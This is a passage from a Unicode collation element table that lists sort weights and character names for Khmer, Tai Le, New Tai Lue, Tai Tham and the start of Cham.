[.2FC6.0020.0002] # KHMER LETTER KHA +1782 ; [.2FC7.0020.0002] # KHMER LETTER KO +1783 ; [.2FC8.0020.0002] # KHMER LETTER KHO +1784 ; [.2FC9.0020.0002] # KHMER LETTER NGO +1785 ; [.2FCA.0020.0002] # KHMER LETTER CA +1786 ; [.2FCB.0020.0002] # KHMER LETTER CHA +1787 ; [.2FCC.0020.0002] # KHMER LETTER CO +1788 ; [.2FCD.0020.0002] # KHMER LETTER CHO +1789 ; [.2FCE.0020.0002] # KHMER LETTER NYO +178A ; [.2FCF.0020.0002] # KHMER LETTER DA +178B ; [.2FD0.0020.0002] # KHMER LETTER TTHA +178C ; [.2FD1.0020.0002] # KHMER LETTER DO +178D ; [.2FD2.0020.0002] # KHMER LETTER TTHO +178E ; [.2FD3.0020.0002] # KHMER LETTER NNO +178F ; [.2FD4.0020.0002] # KHMER LETTER TA +1790 ; [.2FD5.0020.0002] # KHMER LETTER THA +1791 ; [.2FD6.0020.0002] # KHMER LETTER TO +1792 ; [.2FD7.0020.0002] # KHMER LETTER THO +1793 ; [.2FD8.0020.0002] # KHMER LETTER NO +1794 ; [.2FD9.0020.0002] # KHMER LETTER BA +1795 ; [.2FDA.0020.0002] # KHMER LETTER PHA +1796 ; [.2FDB.0020.0002] # KHMER LETTER PO +1797 ; [.2FDC.0020.0002] # KHMER LETTER PHO +1798 ; [.2FDD.0020.0002] # KHMER LETTER MO +1799 ; [.2FDE.0020.0002] # KHMER LETTER YO +179A ; [.2FDF.0020.0002] # KHMER LETTER RO +179B ; [.2FE0.0020.0002] # KHMER LETTER LO +179C ; [.2FE1.0020.0002] # KHMER LETTER VO +179D ; [.2FE2.0020.0002] # KHMER LETTER SHA +179E ; [.2FE3.0020.0002] # KHMER LETTER SSO +179F ; [.2FE4.0020.0002] # KHMER LETTER SA +17A0 ; [.2FE5.0020.0002] # KHMER LETTER HA +17A1 ; [.2FE6.0020.0002] # KHMER LETTER LA +17A2 ; [.2FE7.0020.0002] # KHMER LETTER QA +17DC ; [.2FE8.0020.0002] # KHMER SIGN AVAKRAHASANYA +17A3 ; [.2FE9.0020.0002] # KHMER INDEPENDENT VOWEL QAQ +17A4 ; [.2FEA.0020.0002] # KHMER INDEPENDENT VOWEL QAA +17A5 ; [.2FEB.0020.0002] # KHMER INDEPENDENT VOWEL QI +17A6 ; [.2FEC.0020.0002] # KHMER INDEPENDENT VOWEL QII +17A7 ; [.2FED.0020.0002] # KHMER INDEPENDENT VOWEL QU +17A8 ; [.2FEE.0020.0002] # KHMER INDEPENDENT VOWEL QUK +17A9 ; [.2FEF.0020.0002] # KHMER INDEPENDENT VOWEL QUU +17AA ; [.2FF0.0020.0002] # KHMER INDEPENDENT VOWEL QUUV +17AB ; [.2FF1.0020.0002] # KHMER INDEPENDENT VOWEL RY +17AC ; [.2FF2.0020.0002] # KHMER INDEPENDENT VOWEL RYY +17AD ; [.2FF3.0020.0002] # KHMER INDEPENDENT VOWEL LY +17AE ; [.2FF4.0020.0002] # KHMER INDEPENDENT VOWEL LYY +17AF ; [.2FF5.0020.0002] # KHMER INDEPENDENT VOWEL QE +17B0 ; [.2FF6.0020.0002] # KHMER INDEPENDENT VOWEL QAI +17B1 ; [.2FF7.0020.0002] # KHMER INDEPENDENT VOWEL QOO TYPE ONE +17B2 ; [.2FF8.0020.0002] # KHMER INDEPENDENT VOWEL QOO TYPE TWO +17B3 ; [.2FF9.0020.0002] # KHMER INDEPENDENT VOWEL QAU +17B6 ; [.2FFA.0020.0002] # KHMER VOWEL SIGN AA +17B7 ; [.2FFB.0020.0002] # KHMER VOWEL SIGN I +17B8 ; [.2FFC.0020.0002] # KHMER VOWEL SIGN II +17B9 ; [.2FFD.0020.0002] # KHMER VOWEL SIGN Y +17BA ; [.2FFE.0020.0002] # KHMER VOWEL SIGN YY +17BB ; [.2FFF.0020.0002] # KHMER VOWEL SIGN U +17BC ; [.3000.0020.0002] # KHMER VOWEL SIGN UU +17BD ; [.3001.0020.0002] # KHMER VOWEL SIGN UA +17BE ; [.3002.0020.0002] # KHMER VOWEL SIGN OE +17BF ; [.3003.0020.0002] # KHMER VOWEL SIGN YA +17C0 ; [.3004.0020.0002] # KHMER VOWEL SIGN IE +17C1 ; [.3005.0020.0002] # KHMER VOWEL SIGN E +17C2 ; [.3006.0020.0002] # KHMER VOWEL SIGN AE +17C3 ; [.3007.0020.0002] # KHMER VOWEL SIGN AI +17C4 ; [.3008.0020.0002] # KHMER VOWEL SIGN OO +17C5 ; [.3009.0020.0002] # KHMER VOWEL SIGN AU +17D2 ; [.300A.0020.0002] # KHMER SIGN COENG +1950 ; [.300B.0020.0002] # TAI LE LETTER KA +1951 ; [.300C.0020.0002] # TAI LE LETTER XA +1952 ; [.300D.0020.0002] # TAI LE LETTER NGA +1953 ; [.300E.0020.0002] # TAI LE LETTER TSA +1954 ; [.300F.0020.0002] # TAI LE LETTER SA +1955 ; [.3010.0020.0002] # TAI LE LETTER YA +1956 ; [.3011.0020.0002] # TAI LE LETTER TA +1957 ; [.3012.0020.0002] # TAI LE LETTER THA +1958 ; [.3013.0020.0002] # TAI LE LETTER LA +1959 ; [.3014.0020.0002] # TAI LE LETTER PA +195A ; [.3015.0020.0002] # TAI LE LETTER PHA +195B ; [.3016.0020.0002] # TAI LE LETTER MA +195C ; [.3017.0020.0002] # TAI LE LETTER FA +195D ; [.3018.0020.0002] # TAI LE LETTER VA +195E ; [.3019.0020.0002] # TAI LE LETTER HA +195F ; [.301A.0020.0002] # TAI LE LETTER QA +1960 ; [.301B.0020.0002] # TAI LE LETTER KHA +1961 ; [.301C.0020.0002] # TAI LE LETTER TSHA +1962 ; [.301D.0020.0002] # TAI LE LETTER NA +1963 ; [.301E.0020.0002] # TAI LE LETTER A +1964 ; [.301F.0020.0002] # TAI LE LETTER I +1965 ; [.3020.0020.0002] # TAI LE LETTER EE +1966 ; [.3021.0020.0002] # TAI LE LETTER EH +1967 ; [.3022.0020.0002] # TAI LE LETTER U +1968 ; [.3023.0020.0002] # TAI LE LETTER OO +1969 ; [.3024.0020.0002] # TAI LE LETTER O +196A ; [.3025.0020.0002] # TAI LE LETTER UE +196B ; [.3026.0020.0002] # TAI LE LETTER E +196C ; [.3027.0020.0002] # TAI LE LETTER AUE +196D ; [.3028.0020.0002] # TAI LE LETTER AI +1970 ; [.3029.0020.0002] # TAI LE LETTER TONE-2 +1971 ; [.302A.0020.0002] # TAI LE LETTER TONE-3 +1972 ; [.302B.0020.0002] # TAI LE LETTER TONE-4 +1973 ; [.302C.0020.0002] # TAI LE LETTER TONE-5 +1974 ; [.302D.0020.0002] # TAI LE LETTER TONE-6 +1980 ; [.302E.0020.0002] # NEW TAI LUE LETTER HIGH QA +19B5 1980 ; [.302E.0020.0002][.305F.0020.0002] # +19B6 1980 ; [.302E.0020.0002][.3060.0020.0002] # +19B7 1980 ; [.302E.0020.0002][.3061.0020.0002] # +19BA 1980 ; [.302E.0020.0002][.3064.0020.0002] # +1981 ; [.302F.0020.0002] # NEW TAI LUE LETTER LOW QA +19B5 1981 ; [.302F.0020.0002][.305F.0020.0002] # +19B6 1981 ; [.302F.0020.0002][.3060.0020.0002] # +19B7 1981 ; [.302F.0020.0002][.3061.0020.0002] # +19BA 1981 ; [.302F.0020.0002][.3064.0020.0002] # +1982 ; [.3030.0020.0002] # NEW TAI LUE LETTER HIGH KA +19B5 1982 ; [.3030.0020.0002][.305F.0020.0002] # +19B6 1982 ; [.3030.0020.0002][.3060.0020.0002] # +19B7 1982 ; [.3030.0020.0002][.3061.0020.0002] # +19BA 1982 ; [.3030.0020.0002][.3064.0020.0002] # +1983 ; [.3031.0020.0002] # NEW TAI LUE LETTER HIGH XA +19B5 1983 ; [.3031.0020.0002][.305F.0020.0002] # +19B6 1983 ; [.3031.0020.0002][.3060.0020.0002] # +19B7 1983 ; [.3031.0020.0002][.3061.0020.0002] # +19BA 1983 ; [.3031.0020.0002][.3064.0020.0002] # +1984 ; [.3032.0020.0002] # NEW TAI LUE LETTER HIGH NGA +19B5 1984 ; [.3032.0020.0002][.305F.0020.0002] # +19B6 1984 ; [.3032.0020.0002][.3060.0020.0002] # +19B7 1984 ; [.3032.0020.0002][.3061.0020.0002] # +19BA 1984 ; [.3032.0020.0002][.3064.0020.0002] # +1985 ; [.3033.0020.0002] # NEW TAI LUE LETTER LOW KA +19B5 1985 ; [.3033.0020.0002][.305F.0020.0002] # +19B6 1985 ; [.3033.0020.0002][.3060.0020.0002] # +19B7 1985 ; [.3033.0020.0002][.3061.0020.0002] # +19BA 1985 ; [.3033.0020.0002][.3064.0020.0002] # +1986 ; [.3034.0020.0002] # NEW TAI LUE LETTER LOW XA +19B5 1986 ; [.3034.0020.0002][.305F.0020.0002] # +19B6 1986 ; [.3034.0020.0002][.3060.0020.0002] # +19B7 1986 ; [.3034.0020.0002][.3061.0020.0002] # +19BA 1986 ; [.3034.0020.0002][.3064.0020.0002] # +1987 ; [.3035.0020.0002] # NEW TAI LUE LETTER LOW NGA +19B5 1987 ; [.3035.0020.0002][.305F.0020.0002] # +19B6 1987 ; [.3035.0020.0002][.3060.0020.0002] # +19B7 1987 ; [.3035.0020.0002][.3061.0020.0002] # +19BA 1987 ; [.3035.0020.0002][.3064.0020.0002] # +1988 ; [.3036.0020.0002] # NEW TAI LUE LETTER HIGH TSA +19B5 1988 ; [.3036.0020.0002][.305F.0020.0002] # +19B6 1988 ; [.3036.0020.0002][.3060.0020.0002] # +19B7 1988 ; [.3036.0020.0002][.3061.0020.0002] # +19BA 1988 ; [.3036.0020.0002][.3064.0020.0002] # +1989 ; [.3037.0020.0002] # NEW TAI LUE LETTER HIGH SA +19B5 1989 ; [.3037.0020.0002][.305F.0020.0002] # +19B6 1989 ; [.3037.0020.0002][.3060.0020.0002] # +19B7 1989 ; [.3037.0020.0002][.3061.0020.0002] # +19BA 1989 ; [.3037.0020.0002][.3064.0020.0002] # +198A ; [.3038.0020.0002] # NEW TAI LUE LETTER HIGH YA +19B5 198A ; [.3038.0020.0002][.305F.0020.0002] # +19B6 198A ; [.3038.0020.0002][.3060.0020.0002] # +19B7 198A ; [.3038.0020.0002][.3061.0020.0002] # +19BA 198A ; [.3038.0020.0002][.3064.0020.0002] # +198B ; [.3039.0020.0002] # NEW TAI LUE LETTER LOW TSA +19B5 198B ; [.3039.0020.0002][.305F.0020.0002] # +19B6 198B ; [.3039.0020.0002][.3060.0020.0002] # +19B7 198B ; [.3039.0020.0002][.3061.0020.0002] # +19BA 198B ; [.3039.0020.0002][.3064.0020.0002] # +198C ; [.303A.0020.0002] # NEW TAI LUE LETTER LOW SA +19B5 198C ; [.303A.0020.0002][.305F.0020.0002] # +19B6 198C ; [.303A.0020.0002][.3060.0020.0002] # +19B7 198C ; [.303A.0020.0002][.3061.0020.0002] # +19BA 198C ; [.303A.0020.0002][.3064.0020.0002] # +198D ; [.303B.0020.0002] # NEW TAI LUE LETTER LOW YA +19B5 198D ; [.303B.0020.0002][.305F.0020.0002] # +19B6 198D ; [.303B.0020.0002][.3060.0020.0002] # +19B7 198D ; [.303B.0020.0002][.3061.0020.0002] # +19BA 198D ; [.303B.0020.0002][.3064.0020.0002] # +198E ; [.303C.0020.0002] # NEW TAI LUE LETTER HIGH TA +19B5 198E ; [.303C.0020.0002][.305F.0020.0002] # +19B6 198E ; [.303C.0020.0002][.3060.0020.0002] # +19B7 198E ; [.303C.0020.0002][.3061.0020.0002] # +19BA 198E ; [.303C.0020.0002][.3064.0020.0002] # +198F ; [.303D.0020.0002] # NEW TAI LUE LETTER HIGH THA +19B5 198F ; [.303D.0020.0002][.305F.0020.0002] # +19B6 198F ; [.303D.0020.0002][.3060.0020.0002] # +19B7 198F ; [.303D.0020.0002][.3061.0020.0002] # +19BA 198F ; [.303D.0020.0002][.3064.0020.0002] # +1990 ; [.303E.0020.0002] # NEW TAI LUE LETTER HIGH NA +19B5 1990 ; [.303E.0020.0002][.305F.0020.0002] # +19B6 1990 ; [.303E.0020.0002][.3060.0020.0002] # +19B7 1990 ; [.303E.0020.0002][.3061.0020.0002] # +19BA 1990 ; [.303E.0020.0002][.3064.0020.0002] # +1991 ; [.303F.0020.0002] # NEW TAI LUE LETTER LOW TA +19B5 1991 ; [.303F.0020.0002][.305F.0020.0002] # +19B6 1991 ; [.303F.0020.0002][.3060.0020.0002] # +19B7 1991 ; [.303F.0020.0002][.3061.0020.0002] # +19BA 1991 ; [.303F.0020.0002][.3064.0020.0002] # +1992 ; [.3040.0020.0002] # NEW TAI LUE LETTER LOW THA +19B5 1992 ; [.3040.0020.0002][.305F.0020.0002] # +19B6 1992 ; [.3040.0020.0002][.3060.0020.0002] # +19B7 1992 ; [.3040.0020.0002][.3061.0020.0002] # +19BA 1992 ; [.3040.0020.0002][.3064.0020.0002] # +1993 ; [.3041.0020.0002] # NEW TAI LUE LETTER LOW NA +19B5 1993 ; [.3041.0020.0002][.305F.0020.0002] # +19B6 1993 ; [.3041.0020.0002][.3060.0020.0002] # +19B7 1993 ; [.3041.0020.0002][.3061.0020.0002] # +19BA 1993 ; [.3041.0020.0002][.3064.0020.0002] # +1994 ; [.3042.0020.0002] # NEW TAI LUE LETTER HIGH PA +19B5 1994 ; [.3042.0020.0002][.305F.0020.0002] # +19B6 1994 ; [.3042.0020.0002][.3060.0020.0002] # +19B7 1994 ; [.3042.0020.0002][.3061.0020.0002] # +19BA 1994 ; [.3042.0020.0002][.3064.0020.0002] # +1995 ; [.3043.0020.0002] # NEW TAI LUE LETTER HIGH PHA +19B5 1995 ; [.3043.0020.0002][.305F.0020.0002] # +19B6 1995 ; [.3043.0020.0002][.3060.0020.0002] # +19B7 1995 ; [.3043.0020.0002][.3061.0020.0002] # +19BA 1995 ; [.3043.0020.0002][.3064.0020.0002] # +1996 ; [.3044.0020.0002] # NEW TAI LUE LETTER HIGH MA +19B5 1996 ; [.3044.0020.0002][.305F.0020.0002] # +19B6 1996 ; [.3044.0020.0002][.3060.0020.0002] # +19B7 1996 ; [.3044.0020.0002][.3061.0020.0002] # +19BA 1996 ; [.3044.0020.0002][.3064.0020.0002] # +1997 ; [.3045.0020.0002] # NEW TAI LUE LETTER LOW PA +19B5 1997 ; [.3045.0020.0002][.305F.0020.0002] # +19B6 1997 ; [.3045.0020.0002][.3060.0020.0002] # +19B7 1997 ; [.3045.0020.0002][.3061.0020.0002] # +19BA 1997 ; [.3045.0020.0002][.3064.0020.0002] # +1998 ; [.3046.0020.0002] # NEW TAI LUE LETTER LOW PHA +19B5 1998 ; [.3046.0020.0002][.305F.0020.0002] # +19B6 1998 ; [.3046.0020.0002][.3060.0020.0002] # +19B7 1998 ; [.3046.0020.0002][.3061.0020.0002] # +19BA 1998 ; [.3046.0020.0002][.3064.0020.0002] # +1999 ; [.3047.0020.0002] # NEW TAI LUE LETTER LOW MA +19B5 1999 ; [.3047.0020.0002][.305F.0020.0002] # +19B6 1999 ; [.3047.0020.0002][.3060.0020.0002] # +19B7 1999 ; [.3047.0020.0002][.3061.0020.0002] # +19BA 1999 ; [.3047.0020.0002][.3064.0020.0002] # +199A ; [.3048.0020.0002] # NEW TAI LUE LETTER HIGH FA +19B5 199A ; [.3048.0020.0002][.305F.0020.0002] # +19B6 199A ; [.3048.0020.0002][.3060.0020.0002] # +19B7 199A ; [.3048.0020.0002][.3061.0020.0002] # +19BA 199A ; [.3048.0020.0002][.3064.0020.0002] # +199B ; [.3049.0020.0002] # NEW TAI LUE LETTER HIGH VA +19B5 199B ; [.3049.0020.0002][.305F.0020.0002] # +19B6 199B ; [.3049.0020.0002][.3060.0020.0002] # +19B7 199B ; [.3049.0020.0002][.3061.0020.0002] # +19BA 199B ; [.3049.0020.0002][.3064.0020.0002] # +199C ; [.304A.0020.0002] # NEW TAI LUE LETTER HIGH LA +19B5 199C ; [.304A.0020.0002][.305F.0020.0002] # +19B6 199C ; [.304A.0020.0002][.3060.0020.0002] # +19DE ; [.304A.0020.0004][.3060.0020.0004] # NEW TAI LUE SIGN LAE +19DF ; [.304A.0020.0004][.3060.0020.0004][.306B.0020.0004] # NEW TAI LUE SIGN LAEV +19B7 199C ; [.304A.0020.0002][.3061.0020.0002] # +19BA 199C ; [.304A.0020.0002][.3064.0020.0002] # +199D ; [.304B.0020.0002] # NEW TAI LUE LETTER LOW FA +19B5 199D ; [.304B.0020.0002][.305F.0020.0002] # +19B6 199D ; [.304B.0020.0002][.3060.0020.0002] # +19B7 199D ; [.304B.0020.0002][.3061.0020.0002] # +19BA 199D ; [.304B.0020.0002][.3064.0020.0002] # +199E ; [.304C.0020.0002] # NEW TAI LUE LETTER LOW VA +19B5 199E ; [.304C.0020.0002][.305F.0020.0002] # +19B6 199E ; [.304C.0020.0002][.3060.0020.0002] # +19B7 199E ; [.304C.0020.0002][.3061.0020.0002] # +19BA 199E ; [.304C.0020.0002][.3064.0020.0002] # +199F ; [.304D.0020.0002] # NEW TAI LUE LETTER LOW LA +19B5 199F ; [.304D.0020.0002][.305F.0020.0002] # +19B6 199F ; [.304D.0020.0002][.3060.0020.0002] # +19B7 199F ; [.304D.0020.0002][.3061.0020.0002] # +19BA 199F ; [.304D.0020.0002][.3064.0020.0002] # +19A0 ; [.304E.0020.0002] # NEW TAI LUE LETTER HIGH HA +19B5 19A0 ; [.304E.0020.0002][.305F.0020.0002] # +19B6 19A0 ; [.304E.0020.0002][.3060.0020.0002] # +19B7 19A0 ; [.304E.0020.0002][.3061.0020.0002] # +19BA 19A0 ; [.304E.0020.0002][.3064.0020.0002] # +19A1 ; [.304F.0020.0002] # NEW TAI LUE LETTER HIGH DA +19B5 19A1 ; [.304F.0020.0002][.305F.0020.0002] # +19B6 19A1 ; [.304F.0020.0002][.3060.0020.0002] # +19B7 19A1 ; [.304F.0020.0002][.3061.0020.0002] # +19BA 19A1 ; [.304F.0020.0002][.3064.0020.0002] # +19A2 ; [.3050.0020.0002] # NEW TAI LUE LETTER HIGH BA +19B5 19A2 ; [.3050.0020.0002][.305F.0020.0002] # +19B6 19A2 ; [.3050.0020.0002][.3060.0020.0002] # +19B7 19A2 ; [.3050.0020.0002][.3061.0020.0002] # +19BA 19A2 ; [.3050.0020.0002][.3064.0020.0002] # +19A3 ; [.3051.0020.0002] # NEW TAI LUE LETTER LOW HA +19B5 19A3 ; [.3051.0020.0002][.305F.0020.0002] # +19B6 19A3 ; [.3051.0020.0002][.3060.0020.0002] # +19B7 19A3 ; [.3051.0020.0002][.3061.0020.0002] # +19BA 19A3 ; [.3051.0020.0002][.3064.0020.0002] # +19A4 ; [.3052.0020.0002] # NEW TAI LUE LETTER LOW DA +19B5 19A4 ; [.3052.0020.0002][.305F.0020.0002] # +19B6 19A4 ; [.3052.0020.0002][.3060.0020.0002] # +19B7 19A4 ; [.3052.0020.0002][.3061.0020.0002] # +19BA 19A4 ; [.3052.0020.0002][.3064.0020.0002] # +19A5 ; [.3053.0020.0002] # NEW TAI LUE LETTER LOW BA +19B5 19A5 ; [.3053.0020.0002][.305F.0020.0002] # +19B6 19A5 ; [.3053.0020.0002][.3060.0020.0002] # +19B7 19A5 ; [.3053.0020.0002][.3061.0020.0002] # +19BA 19A5 ; [.3053.0020.0002][.3064.0020.0002] # +19A6 ; [.3054.0020.0002] # NEW TAI LUE LETTER HIGH KVA +19B5 19A6 ; [.3054.0020.0002][.305F.0020.0002] # +19B6 19A6 ; [.3054.0020.0002][.3060.0020.0002] # +19B7 19A6 ; [.3054.0020.0002][.3061.0020.0002] # +19BA 19A6 ; [.3054.0020.0002][.3064.0020.0002] # +19A7 ; [.3055.0020.0002] # NEW TAI LUE LETTER HIGH XVA +19B5 19A7 ; [.3055.0020.0002][.305F.0020.0002] # +19B6 19A7 ; [.3055.0020.0002][.3060.0020.0002] # +19B7 19A7 ; [.3055.0020.0002][.3061.0020.0002] # +19BA 19A7 ; [.3055.0020.0002][.3064.0020.0002] # +19A8 ; [.3056.0020.0002] # NEW TAI LUE LETTER LOW KVA +19B5 19A8 ; [.3056.0020.0002][.305F.0020.0002] # +19B6 19A8 ; [.3056.0020.0002][.3060.0020.0002] # +19B7 19A8 ; [.3056.0020.0002][.3061.0020.0002] # +19BA 19A8 ; [.3056.0020.0002][.3064.0020.0002] # +19A9 ; [.3057.0020.0002] # NEW TAI LUE LETTER LOW XVA +19B5 19A9 ; [.3057.0020.0002][.305F.0020.0002] # +19B6 19A9 ; [.3057.0020.0002][.3060.0020.0002] # +19B7 19A9 ; [.3057.0020.0002][.3061.0020.0002] # +19BA 19A9 ; [.3057.0020.0002][.3064.0020.0002] # +19AA ; [.3058.0020.0002] # NEW TAI LUE LETTER HIGH SUA +19B5 19AA ; [.3058.0020.0002][.305F.0020.0002] # +19B6 19AA ; [.3058.0020.0002][.3060.0020.0002] # +19B7 19AA ; [.3058.0020.0002][.3061.0020.0002] # +19BA 19AA ; [.3058.0020.0002][.3064.0020.0002] # +19AB ; [.3059.0020.0002] # NEW TAI LUE LETTER LOW SUA +19B5 19AB ; [.3059.0020.0002][.305F.0020.0002] # +19B6 19AB ; [.3059.0020.0002][.3060.0020.0002] # +19B7 19AB ; [.3059.0020.0002][.3061.0020.0002] # +19BA 19AB ; [.3059.0020.0002][.3064.0020.0002] # +19B0 ; [.305A.0020.0002] # NEW TAI LUE VOWEL SIGN VOWEL SHORTENER +19B1 ; [.305B.0020.0002] # NEW TAI LUE VOWEL SIGN AA +19B2 ; [.305C.0020.0002] # NEW TAI LUE VOWEL SIGN II +19B3 ; [.305D.0020.0002] # NEW TAI LUE VOWEL SIGN U +19B4 ; [.305E.0020.0002] # NEW TAI LUE VOWEL SIGN UU +19B5 ; [.305F.0020.0002] # NEW TAI LUE VOWEL SIGN E +19B6 ; [.3060.0020.0002] # NEW TAI LUE VOWEL SIGN AE +19B7 ; [.3061.0020.0002] # NEW TAI LUE VOWEL SIGN O +19B8 ; [.3062.0020.0002] # NEW TAI LUE VOWEL SIGN OA +19B9 ; [.3063.0020.0002] # NEW TAI LUE VOWEL SIGN UE +19BA ; [.3064.0020.0002] # NEW TAI LUE VOWEL SIGN AY +19BB ; [.3065.0020.0002] # NEW TAI LUE VOWEL SIGN AAY +19BC ; [.3066.0020.0002] # NEW TAI LUE VOWEL SIGN UY +19BD ; [.3067.0020.0002] # NEW TAI LUE VOWEL SIGN OY +19BE ; [.3068.0020.0002] # NEW TAI LUE VOWEL SIGN OAY +19BF ; [.3069.0020.0002] # NEW TAI LUE VOWEL SIGN UEY +19C0 ; [.306A.0020.0002] # NEW TAI LUE VOWEL SIGN IY +19C1 ; [.306B.0020.0002] # NEW TAI LUE LETTER FINAL V +19C2 ; [.306C.0020.0002] # NEW TAI LUE LETTER FINAL NG +19C3 ; [.306D.0020.0002] # NEW TAI LUE LETTER FINAL N +19C4 ; [.306E.0020.0002] # NEW TAI LUE LETTER FINAL M +19C5 ; [.306F.0020.0002] # NEW TAI LUE LETTER FINAL K +19C6 ; [.3070.0020.0002] # NEW TAI LUE LETTER FINAL D +19C7 ; [.3071.0020.0002] # NEW TAI LUE LETTER FINAL B +19C8 ; [.3072.0020.0002] # NEW TAI LUE TONE MARK-1 +19C9 ; [.3073.0020.0002] # NEW TAI LUE TONE MARK-2 +1A20 ; [.3074.0020.0002] # TAI THAM LETTER HIGH KA +1A21 ; [.3075.0020.0002] # TAI THAM LETTER HIGH KHA +1A22 ; [.3076.0020.0002] # TAI THAM LETTER HIGH KXA +1A23 ; [.3077.0020.0002] # TAI THAM LETTER LOW KA +1A24 ; [.3078.0020.0002] # TAI THAM LETTER LOW KXA +1A25 ; [.3079.0020.0002] # TAI THAM LETTER LOW KHA +1A26 ; [.307A.0020.0002] # TAI THAM LETTER NGA +1A58 ; [.307A.0020.0004] # TAI THAM SIGN MAI KANG LAI +1A59 ; [.307A.0020.0004] # TAI THAM CONSONANT SIGN FINAL NGA +1A27 ; [.307B.0020.0002] # TAI THAM LETTER HIGH CA +1A28 ; [.307C.0020.0002] # TAI THAM LETTER HIGH CHA +1A29 ; [.307D.0020.0002] # TAI THAM LETTER LOW CA +1A2A ; [.307E.0020.0002] # TAI THAM LETTER LOW SA +1A2B ; [.307F.0020.0002] # TAI THAM LETTER LOW CHA +1A2C ; [.3080.0020.0002] # TAI THAM LETTER NYA +1A2D ; [.3081.0020.0002] # TAI THAM LETTER RATA +1A2E ; [.3082.0020.0002] # TAI THAM LETTER HIGH RATHA +1A2F ; [.3083.0020.0002] # TAI THAM LETTER DA +1A30 ; [.3084.0020.0002] # TAI THAM LETTER LOW RATHA +1A31 ; [.3085.0020.0002] # TAI THAM LETTER RANA +1A32 ; [.3086.0020.0002] # TAI THAM LETTER HIGH TA +1A33 ; [.3087.0020.0002] # TAI THAM LETTER HIGH THA +1A34 ; [.3088.0020.0002] # TAI THAM LETTER LOW TA +1A35 ; [.3089.0020.0002] # TAI THAM LETTER LOW THA +1A36 ; [.308A.0020.0002] # TAI THAM LETTER NA +1A37 ; [.308B.0020.0002] # TAI THAM LETTER BA +1A38 ; [.308C.0020.0002] # TAI THAM LETTER HIGH PA +1A39 ; [.308D.0020.0002] # TAI THAM LETTER HIGH PHA +1A3A ; [.308E.0020.0002] # TAI THAM LETTER HIGH FA +1A3B ; [.308F.0020.0002] # TAI THAM LETTER LOW PA +1A5A ; [.308F.0020.0004] # TAI THAM CONSONANT SIGN LOW PA +1A5B ; [.308F.0020.0004] # TAI THAM CONSONANT SIGN HIGH RATHA OR LOW PA +1A3C ; [.3090.0020.0002] # TAI THAM LETTER LOW FA +1A3D ; [.3091.0020.0002] # TAI THAM LETTER LOW PHA +1A3E ; [.3092.0020.0002] # TAI THAM LETTER MA +1A3F ; [.3093.0020.0002] # TAI THAM LETTER LOW YA +1A40 ; [.3094.0020.0002] # TAI THAM LETTER HIGH YA +1A41 ; [.3095.0020.0002] # TAI THAM LETTER RA +1A42 ; [.3096.0020.0002] # TAI THAM LETTER RUE +1A43 ; [.3097.0020.0002] # TAI THAM LETTER LA +1A44 ; [.3098.0020.0002] # TAI THAM LETTER LUE +1A45 ; [.3099.0020.0002] # TAI THAM LETTER WA +1A46 ; [.309A.0020.0002] # TAI THAM LETTER HIGH SHA +1A54 ; [.309A.0020.0004][.30C0.0020.0004][.309A.0020.0004] # TAI THAM LETTER GREAT SA +1A47 ; [.309B.0020.0002] # TAI THAM LETTER HIGH SSA +1A48 ; [.309C.0020.0002] # TAI THAM LETTER HIGH SA +1A49 ; [.309D.0020.0002] # TAI THAM LETTER HIGH HA +1A4A ; [.309E.0020.0002] # TAI THAM LETTER LLA +1A4B ; [.309F.0020.0002] # TAI THAM LETTER A +1A4C ; [.30A0.0020.0002] # TAI THAM LETTER LOW HA +1A53 ; [.30A1.0020.0002] # TAI THAM LETTER LAE +1A6B ; [.30A2.0020.0002] # TAI THAM VOWEL SIGN O +1A55 ; [.30A3.0020.0002] # TAI THAM CONSONANT SIGN MEDIAL RA +1A56 ; [.30A4.0020.0002] # TAI THAM CONSONANT SIGN MEDIAL LA +1A57 ; [.30A5.0020.0002] # TAI THAM CONSONANT SIGN LA TANG LAI +1A5C ; [.30A6.0020.0002] # TAI THAM CONSONANT SIGN MA +1A5D ; [.30A7.0020.0002] # TAI THAM CONSONANT SIGN BA +1A5E ; [.30A8.0020.0002] # TAI THAM CONSONANT SIGN SA +1A4D ; [.30A9.0020.0002] # TAI THAM LETTER I +1A4E ; [.30AA.0020.0002] # TAI THAM LETTER II +1A4F ; [.30AB.0020.0002] # TAI THAM LETTER U +1A50 ; [.30AC.0020.0002] # TAI THAM LETTER UU +1A51 ; [.30AD.0020.0002] # TAI THAM LETTER EE +1A52 ; [.30AE.0020.0002] # TAI THAM LETTER OO +1A61 ; [.30AF.0020.0002] # TAI THAM VOWEL SIGN A +1A6C ; [.30B0.0020.0002] # TAI THAM VOWEL SIGN OA BELOW +1A62 ; [.30B1.0020.0002] # TAI THAM VOWEL SIGN MAI SAT +1A63 ; [.30B2.0020.0002] # TAI THAM VOWEL SIGN AA +1A64 ; [.30B2.0020.0004] # TAI THAM VOWEL SIGN TALL AA +1A65 ; [.30B3.0020.0002] # TAI THAM VOWEL SIGN I +1A66 ; [.30B4.0020.0002] # TAI THAM VOWEL SIGN II +1A67 ; [.30B5.0020.0002] # TAI THAM VOWEL SIGN UE +1A68 ; [.30B6.0020.0002] # TAI THAM VOWEL SIGN UUE +1A69 ; [.30B7.0020.0002] # TAI THAM VOWEL SIGN U +1A6A ; [.30B8.0020.0002] # TAI THAM VOWEL SIGN UU +1A6E ; [.30B9.0020.0002] # TAI THAM VOWEL SIGN E +1A6F ; [.30BA.0020.0002] # TAI THAM VOWEL SIGN AE +1A73 ; [.30BB.0020.0002] # TAI THAM VOWEL SIGN OA ABOVE +1A70 ; [.30BC.0020.0002] # TAI THAM VOWEL SIGN OO +1A71 ; [.30BD.0020.0002] # TAI THAM VOWEL SIGN AI +1A72 ; [.30BE.0020.0002] # TAI THAM VOWEL SIGN THAM AI +1A6D ; [.30BF.0020.0002] # TAI THAM VOWEL SIGN OY +1A60 ; [.30C0.0020.0002] # TAI THAM SIGN SAKOT +AA00 ; [.30C1.0020.0002] # CHAM LETTER A +AA01 ; [.30C2.0020.0002] # CHAM LETTER I +AA02 ; [.30C3.0020.0002] # CHAM LETTER U +AA03 ; [.30C4.0020.0002] # CHAM LETTER E +AA04 ; [.30C5.0020.0002] # CHAM LETTER AI +AA05 ; [.30C6.0020.0002] # CHAM LETTER O +AA06 ; [.30C7.0020.0002] # CHAM LETTER KA +AA07 ; [.30C8.0020.0002] # CHAM LETTER KHA +AA08 ; [.30C9.0020.0002] # CHAM LETTER GA +AA09 ; [.30CA.0020.0002] # CHAM LETTER GHA +AA0A ; [.30CB.0020.0002] # CHAM LETTER NGUE 